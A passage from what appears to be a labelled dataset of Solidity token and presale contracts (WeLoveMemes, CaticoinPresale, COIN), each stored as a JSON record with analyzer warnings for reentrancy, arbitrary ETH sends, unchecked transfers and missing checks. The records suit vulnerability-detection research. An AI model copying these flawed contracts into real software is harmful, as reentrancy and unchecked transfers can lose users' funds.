eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9f7b7cf: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0500803\n\t\t// reentrancy-events | ID: e024fcf\n\t\t// reentrancy-eth | ID: 22b3cfc\n\t\t// arbitrary-send-eth | ID: 9f7b7cf\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fb0f07e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fb0f07e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f4a7ab6): WeLoveMemes.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f4a7ab6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5e8681f): WeLoveMemes.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5e8681f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0f10917): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0f10917: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fb0f07e\n\t\t// reentrancy-eth | ID: 0f10917\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: fb0f07e\n\t\t// unused-return | ID: f4a7ab6\n\t\t// reentrancy-eth | ID: 0f10917\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: fb0f07e\n\t\t// unused-return | ID: 5e8681f\n\t\t// reentrancy-eth | ID: 0f10917\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: fb0f07e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0f10917\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: ce92562): WeLoveMemes.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for ce92562: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: ce92562\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10124.sol",
"size_bytes": 20263,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\nlibrary Address {\n error AddressInsufficientBalance(address account);\n\n error AddressEmptyCode(address target);\n\n error FailedInnerCall();\n\n function sendValue(address payable recipient, uint256 amount) internal {\n if (address(this).balance < amount) {\n revert AddressInsufficientBalance(address(this));\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n if (!success) {\n revert FailedInnerCall();\n }\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n if (address(this).balance < value) {\n revert AddressInsufficientBalance(address(this));\n }\n\n\t\t// reentrancy-events | ID: 84ae0d1\n\t\t// reentrancy-benign | ID: b0a8568\n\t\t// reentrancy-benign | ID: df8240d\n\t\t// reentrancy-eth | ID: d13e9f6\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata\n ) internal view returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n if (returndata.length == 0 && target.code.length == 0) {\n revert AddressEmptyCode(target);\n }\n\n return returndata;\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata\n ) internal pure returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n return returndata;\n }\n }\n\n function _revert(bytes memory returndata) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert FailedInnerCall();\n }\n }\n}\n\nlibrary SafeERC20 {\n using Address for address;\n\n error SafeERC20FailedOperation(address token);\n\n error SafeERC20FailedDecreaseAllowance(\n address spender,\n uint256 currentAllowance,\n uint256 requestedDecrease\n );\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value)));\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeCall(token.transferFrom, (from, to, value))\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n\n forceApprove(token, spender, oldAllowance + value);\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 requestedDecrease\n ) internal {\n unchecked {\n uint256 currentAllowance = token.allowance(address(this), spender);\n\n if (currentAllowance < requestedDecrease) {\n revert SafeERC20FailedDecreaseAllowance(\n spender,\n currentAllowance,\n requestedDecrease\n );\n }\n\n forceApprove(token, spender, currentAllowance - requestedDecrease);\n }\n }\n\n function forceApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n bytes memory approvalCall = abi.encodeCall(\n token.approve,\n (spender, value)\n );\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(\n token,\n abi.encodeCall(token.approve, (spender, 0))\n );\n\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n\t\t// reentrancy-events | ID: 84ae0d1\n\t\t// reentrancy-benign | ID: b0a8568\n\t\t// reentrancy-benign | ID: df8240d\n\t\t// reentrancy-eth | ID: d13e9f6\n bytes memory returndata = address(token).functionCall(data);\n\n if (returndata.length != 0 && !abi.decode(returndata, (bool))) {\n revert SafeERC20FailedOperation(address(token));\n }\n }\n\n function _callOptionalReturnBool(\n IERC20 token,\n bytes memory data\n ) private returns (bool) {\n (bool success, bytes memory returndata) = address(token).call(data);\n\n return\n success &&\n (returndata.length == 0 || abi.decode(returndata, (bool))) &&\n address(token).code.length > 0;\n }\n}\n\ncontract CaticoinPresale is Ownable {\n using SafeERC20 for IERC20;\n\n uint256 public rate;\n\n uint public saleTokenDec;\n\n uint256 public totalTokensforSale;\n\n mapping(address => bool) public payableTokens;\n\n mapping(address => uint256) public tokenPrices;\n\n bool public saleStatus;\n\n address[] public buyers;\n\n mapping(address => bool) public buyersExists;\n\n mapping(address => uint256) public buyersAmount;\n\n uint256 public totalBuyers;\n\n uint256 public totalTokensSold;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fac1f0a): CaticoinPresale.teamWallet should be immutable \n\t// Recommendation for fac1f0a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public teamWallet;\n\n LootBox[] public lootBoxes;\n\n struct LootBox {\n string name;\n uint256 amount;\n uint256 discount;\n }\n\n struct BuyerDetails {\n address buyer;\n uint amount;\n }\n\n event BuyToken(\n address indexed buyer,\n address indexed token,\n uint256 paidAmount,\n uint256 purchasedAmount\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 438a00a): CaticoinPresale.constructor(address)._teamWallet lacks a zerocheck on \t teamWallet = _teamWallet\n\t// Recommendation for 438a00a: Check that the address is not zero.\n constructor(address _teamWallet) Ownable(msg.sender) {\n saleStatus = false;\n\n\t\t// missing-zero-check | ID: 438a00a\n teamWallet = _teamWallet;\n }\n\n modifier saleEnabled() {\n require(saleStatus == true, \"Presale: is not enabled\");\n\n _;\n }\n\n modifier saleStoped() {\n require(saleStatus == false, \"Presale: is not stopped\");\n\n _;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eee1f8b): CaticoinPresale.setSaleToken(uint256,uint256,uint256,bool) should emit an event for rate = _rate saleTokenDec = _decimals totalTokensforSale = _totalTokensforSale \n\t// Recommendation for eee1f8b: Emit an event for critical parameter changes.\n function setSaleToken(\n uint256 _decimals,\n uint256 _totalTokensforSale,\n uint256 _rate,\n bool _saleStatus\n ) external onlyOwner {\n require(_rate != 0);\n\n\t\t// events-maths | ID: eee1f8b\n rate = _rate;\n\n saleStatus = _saleStatus;\n\n\t\t// events-maths | ID: eee1f8b\n saleTokenDec = _decimals;\n\n\t\t// events-maths | ID: eee1f8b\n totalTokensforSale = _totalTokensforSale;\n }\n\n function stopSale() external onlyOwner saleEnabled {\n saleStatus = false;\n }\n\n function resumeSale() external onlyOwner saleStoped {\n saleStatus = true;\n }\n\n function addPayableTokens(\n address[] memory _tokens,\n uint256[] memory _prices\n ) external onlyOwner {\n require(\n _tokens.length == _prices.length,\n \"Presale: tokens & prices arrays length mismatch\"\n );\n\n for (uint256 i = 0; i < _tokens.length; i++) {\n require(_prices[i] != 0);\n\n payableTokens[_tokens[i]] = true;\n\n tokenPrices[_tokens[i]] = _prices[i];\n }\n }\n\n function payableTokenStatus(\n address _token,\n bool _status\n ) external onlyOwner {\n require(payableTokens[_token] != _status);\n\n payableTokens[_token] = _status;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7a37e42): CaticoinPresale.updateTokenRate(address[],uint256[],uint256) should emit an event for rate = _rate \n\t// Recommendation for 7a37e42: Emit an event for critical parameter changes.\n function updateTokenRate(\n address[] memory _tokens,\n uint256[] memory _prices,\n uint256 _rate\n ) external onlyOwner {\n require(\n _tokens.length == _prices.length,\n \"Presale: tokens & prices arrays length mismatch\"\n );\n\n if (_rate != 0) {\n\t\t\t// events-maths | ID: 7a37e42\n rate = _rate;\n }\n\n for (uint256 i = 0; i < _tokens.length; i += 1) {\n require(payableTokens[_tokens[i]] == true);\n\n require(_prices[i] != 0);\n\n tokenPrices[_tokens[i]] = _prices[i];\n }\n }\n\n function setLootBoxes(\n string[] memory name,\n uint256[] memory amountInSaleToken,\n uint[] memory discount\n ) external onlyOwner {\n require(\n amountInSaleToken.length == discount.length &&\n discount.length == name.length,\n \"Presale: length mismatch\"\n );\n\n delete lootBoxes;\n\n for (uint256 i = 0; i < amountInSaleToken.length; i++) {\n lootBoxes.push(LootBox(name[i], amountInSaleToken[i], discount[i]));\n }\n }\n\n function getLootBoxes() external view returns (LootBox[] memory) {\n return lootBoxes;\n }\n\n function getTokenAmount(\n address token,\n uint256 amount\n ) public view returns (uint256) {\n uint256 amtOut;\n\n if (token != address(0)) {\n require(payableTokens[token] == true, \"Presale: Token not allowed\");\n\n uint256 price = tokenPrices[token];\n\n amtOut = (amount * (10 ** saleTokenDec)) / (price);\n } else {\n amtOut = (amount * (10 ** saleTokenDec)) / (rate);\n }\n\n return amtOut;\n }\n\n function getPayAmount(\n address token,\n uint256 amount\n ) public view returns (uint256) {\n uint256 amtOut;\n\n if (token != address(0)) {\n require(payableTokens[token] == true, \"Presale: Token not allowed\");\n\n uint256 price = tokenPrices[token];\n\n amtOut = (amount * (price)) / (10 ** saleTokenDec);\n } else {\n amtOut = (amount * (rate)) / (10 ** saleTokenDec);\n }\n\n return amtOut;\n }\n\n function transferETH(uint256 _amount) internal {\n uint256 teamAmt = (_amount * 30) / 100;\n\n\t\t// reentrancy-events | ID: 84ae0d1\n\t\t// reentrancy-eth | ID: d13e9f6\n payable(teamWallet).transfer(teamAmt);\n\n\t\t// reentrancy-events | ID: 84ae0d1\n\t\t// reentrancy-eth | ID: d13e9f6\n payable(owner()).transfer(_amount - teamAmt);\n }\n\n function transferToken(address _token, uint256 _amount) internal {\n uint256 teamAmt = (_amount * (30)) / (100);\n\n\t\t// reentrancy-events | ID: 84ae0d1\n\t\t// reentrancy-benign | ID: b0a8568\n\t\t// reentrancy-benign | ID: df8240d\n\t\t// reentrancy-eth | ID: d13e9f6\n IERC20(_token).safeTransferFrom(msg.sender, teamWallet, teamAmt);\n\n\t\t// reentrancy-events | ID: 84ae0d1\n\t\t// reentrancy-benign | ID: b0a8568\n\t\t// reentrancy-benign | ID: df8240d\n\t\t// reentrancy-eth | ID: d13e9f6\n IERC20(_token).safeTransferFrom(msg.sender, owner(), _amount - teamAmt);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 84ae0d1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 84ae0d1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: df8240d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for df8240d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d13e9f6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d13e9f6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyToken(\n address _token,\n uint256 _amount\n ) external payable saleEnabled {\n uint256 amount = _token != address(0) ? _amount : msg.value;\n\n uint256 saleTokenAmt = getTokenAmount(_token, amount);\n\n require(saleTokenAmt != 0, \"Presale: Amount is 0\");\n\n require(\n (totalTokensSold + saleTokenAmt) < totalTokensforSale,\n \"Presale: Not enough tokens to be sold\"\n );\n\n if (_token != address(0)) {\n\t\t\t// reentrancy-events | ID: 84ae0d1\n\t\t\t// reentrancy-benign | ID: df8240d\n\t\t\t// reentrancy-eth | ID: d13e9f6\n transferToken(_token, _amount);\n } else {\n\t\t\t// reentrancy-events | ID: 84ae0d1\n\t\t\t// reentrancy-eth | ID: d13e9f6\n transferETH(msg.value);\n }\n\n\t\t// reentrancy-eth | ID: d13e9f6\n totalTokensSold += saleTokenAmt;\n\n if (!buyersExists[msg.sender]) {\n\t\t\t// reentrancy-benign | ID: df8240d\n buyers.push(msg.sender);\n\n\t\t\t// reentrancy-benign | ID: df8240d\n buyersExists[msg.sender] = true;\n\n\t\t\t// reentrancy-benign | ID: df8240d\n totalBuyers += 1;\n }\n\n\t\t// reentrancy-benign | ID: df8240d\n buyersAmount[msg.sender] += saleTokenAmt;\n\n\t\t// reentrancy-events | ID: 84ae0d1\n emit BuyToken(msg.sender, _token, amount, saleTokenAmt);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b0a8568): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b0a8568: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyLootBox(\n uint _lootBoxIndex,\n address _token\n ) external payable saleEnabled {\n uint256 saleTokenAmt = lootBoxes[_lootBoxIndex].amount;\n\n uint256 discountAmt = (saleTokenAmt *\n lootBoxes[_lootBoxIndex].discount) / 100;\n\n uint256 payAmount = getPayAmount(_token, saleTokenAmt - discountAmt);\n\n if (_token != address(0)) {\n require(\n IERC20(_token).allowance(msg.sender, address(this)) >=\n payAmount,\n \"Presale: Check the token allowance\"\n );\n\n\t\t\t// reentrancy-benign | ID: b0a8568\n IERC20(_token).safeTransferFrom(msg.sender, owner(), payAmount);\n\n\t\t\t// reentrancy-benign | ID: b0a8568\n transferToken(_token, payAmount);\n } else {\n require(msg.value >= payAmount, \"Presale: Not enough ETH\");\n\n transferETH(payAmount);\n\n if ((msg.value - payAmount) > 0) {\n payable(msg.sender).transfer(msg.value - payAmount);\n }\n }\n\n\t\t// reentrancy-benign | ID: b0a8568\n totalTokensSold += saleTokenAmt;\n\n if (!buyersExists[msg.sender]) {\n\t\t\t// reentrancy-benign | ID: b0a8568\n buyers.push(msg.sender);\n\n\t\t\t// reentrancy-benign | ID: b0a8568\n buyersExists[msg.sender] = true;\n\n\t\t\t// reentrancy-benign | ID: b0a8568\n totalBuyers += 1;\n }\n\n\t\t// reentrancy-benign | ID: b0a8568\n buyersAmount[msg.sender] += saleTokenAmt;\n }\n\n function buyersDetailsList(\n uint _from,\n uint _to\n ) external view returns (BuyerDetails[] memory) {\n require(_from < _to, \"Presale: _from should be less than _to\");\n\n uint to = _to > totalBuyers ? totalBuyers : _to;\n\n uint from = _from > totalBuyers ? totalBuyers : _from;\n\n BuyerDetails[] memory buyersAmt = new BuyerDetails[](to - from);\n\n for (uint i = from; i < to; i += 1) {\n buyersAmt[i] = BuyerDetails(buyers[i], buyersAmount[buyers[i]]);\n }\n\n return buyersAmt;\n }\n}\n",
"file_name": "solidity_code_10125.sol",
"size_bytes": 19547,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 34fdef8): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 34fdef8: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 34fdef8\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract COIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38f2f15): COIN._taxWallet should be immutable \n\t// Recommendation for 38f2f15: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 118945b): COIN._initialBuyTax should be constant \n\t// Recommendation for 118945b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 414b13b): COIN._initialSellTax should be constant \n\t// Recommendation for 414b13b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: a149049): COIN._finalBuyTax should be constant \n\t// Recommendation for a149049: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 528750b): COIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 528750b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae99405): COIN._reduceSellTaxAt should be constant \n\t// Recommendation for ae99405: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70dd85f): COIN._preventSwapBefore should be constant \n\t// Recommendation for 70dd85f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 19;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f1ab4e): COIN._taxSwapThreshold should be constant \n\t// Recommendation for 2f1ab4e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7cb18d2): COIN._maxTaxSwap should be constant \n\t// Recommendation for 7cb18d2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 766fd81): COIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 766fd81: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: dfe9089): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for dfe9089: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c64bb2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c64bb2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: dfe9089\n\t\t// reentrancy-benign | ID: c64bb2f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: dfe9089\n\t\t// reentrancy-benign | ID: c64bb2f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 616189b): COIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 616189b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c64bb2f\n\t\t// reentrancy-benign | ID: ed66921\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1bb4fdf\n\t\t// reentrancy-events | ID: dfe9089\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0b80948): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow 